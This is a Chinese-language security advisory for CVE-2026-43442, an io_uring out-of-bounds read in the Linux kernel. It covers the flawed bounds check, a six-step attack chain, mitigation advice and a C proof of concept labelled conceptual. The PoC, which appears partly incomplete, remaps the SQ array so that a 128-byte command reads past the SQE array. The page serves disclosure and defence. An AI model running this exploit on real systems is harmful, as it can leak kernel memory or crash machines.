IPBUF安全漏洞报告
English
CVE-2026-43442 CVSS 7.1 高危

CVE-2026-43442: Linux内核io_uring越界读取漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43442
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelio_uringOut-of-Bounds ReadLocal VulnerabilityMemory Corruption

漏洞概述

Linux内核io_uring组件存在安全漏洞。当使用`IORING_SETUP_SQE_MIXED`标志但未设置`IORING_SETUP_NO_SQARRAY`时,`io_init_req`函数对128字节SQE操作的边界检查存在缺陷。代码错误地验证了逻辑SQ头位置而非物理SQE索引。由于`sq_array`的存在,攻击者可将逻辑位置重新映射到任意物理索引,特别是将操作放置在最后一个物理SQE槽位。这会导致`io_uring_cmd_sqe_copy`函数执行时读取SQE数组末尾之外的64字节数据,引发越界读取,可能造成信息泄露或系统崩溃。

技术细节

该漏洞的核心在于Linux内核io_uring子系统在处理混合大小SQE时的边界验证逻辑错误。在`io_init_req`函数中,原有的检查逻辑`!(ctx->cached_sq_head & (ctx->sq_entries - 1))`仅确认逻辑位置未达环形缓冲区末尾,这对于物理与逻辑位置一致的`NO_SQARRAY`模式是正确的。然而,在标准模式下,`sq_array`允许低权限用户将任意逻辑索引指向任意物理SQE索引。攻击者可利用此机制,将一个128字节的`IORING_OP_URING_CMD`操作映射到物理数组的最后一个槽位。由于边界检查未针对物理索引进行校验,内核在执行`io_uring_cmd_sqe_copy`进行128字节的内存拷贝时,会从合法的SQE数组末尾向后越界读取64字节。这种越界读取可能泄露敏感的内核内存数据,或因访问无效内存导致内核恐慌,从而实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者确认目标系统运行存在漏洞的Linux内核版本,且启用了io_uring功能。
STEP 2
获取访问权限
攻击者获得目标系统的本地低权限用户访问(PR:L)。
STEP 3
环境设置
攻击者调用io_uring_setup系统调用,设置`IORING_SETUP_SQE_MIXED`标志,确保启用sq_array映射机制。
STEP 4
索引映射
攻击者操作共享内存中的sq_array,将一个逻辑索引指向物理SQE数组的最后一个槽位(sq_entries - 1)。
STEP 5
触发漏洞
攻击者在映射的槽位提交一个128字节的操作(如IORING_OP_URING_CMD)。
STEP 6
越界读取
内核执行io_uring_cmd_sqe_copy,尝试从物理数组末尾读取128字节数据,导致读取数组后64字节的越界内存。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <linux/io_uring.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> // Conceptual PoC for CVE-2026-43442 // Demonstrates the setup required to trigger the OOB read int io_uring_setup(unsigned entries, struct io_uring_params *p) { return syscall(__NR_io_uring_setup, entries, p); } int main() { struct io_uring_params p = {0}; // Set the MIXED flag to enable 128-byte ops // Do NOT set NO_SQARRAY, so sq_array is used p.flags = IORING_SETUP_SQE_MIXED; int ring_fd = io_uring_setup(0x100, &p); if (ring_fd < 0) { perror("io_uring_setup"); return 1; } printf("[+] io_uring instance created with fd %d\n", ring_fd); // Map the SQEs and SQ array (Simplified for PoC logic) // In a real exploit, we would mmap the ring buffer based on offsets in p void *sq_ptr = mmap(NULL, p.sq_off.array + p.sq_entries * sizeof(unsigned int), PROT_READ | PROT_WRITE, MAP_SHARED, ring_fd, IORING_OFF_SQ_RING); void *sqes_ptr = mmap(NULL, p.sq_entries * 64, // 64 is standard SQE size PROT_READ | PROT_WRITE, MAP_SHARED, ring_fd, IORING_OFF_SQES); unsigned int *sq_array = (unsigned int *)((char *)sq_ptr + p.sq_off.array); struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes_ptr; // Exploit Logic: // Map the first logical slot (index 0) to the last physical slot sq_array[0] = p.sq_entries - 1; // Prepare a 128-byte operation (e.g., IORING_OP_URING_CMD) // This operation occupies two consecutive 64-byte slots in the physical array memset(&sqe[p.sq_entries - 1], 0, sizeof(struct io_uring_sqe)); sqe[p.sq_entries - 1].opcode = 18; // IORING_OP_URING_CMD (example for 128-byte op) printf("[+] Triggering submission...\n"); // Submit the request. This triggers io_uring_cmd_sqe_copy // which will attempt to read 128 bytes from the last physical slot. // Since the last slot is at the boundary, it reads 64 bytes past the end. io_uring_enter(ring_fd, 1, 0, 0, NULL); printf("[+] Exploit triggered. Check kernel logs for OOB read/crash.\n"); return 0; }

影响范围

Linux Kernel (Specific vulnerable versions with io_uring support)

防御指南

临时缓解措施
如果无法立即升级,建议通过sysctl或内核启动参数限制非特权用户使用io_uring功能,或者在业务允许的情况下暂时禁用该模块,以防止潜在的信息泄露或拒绝服务攻击。

参考链接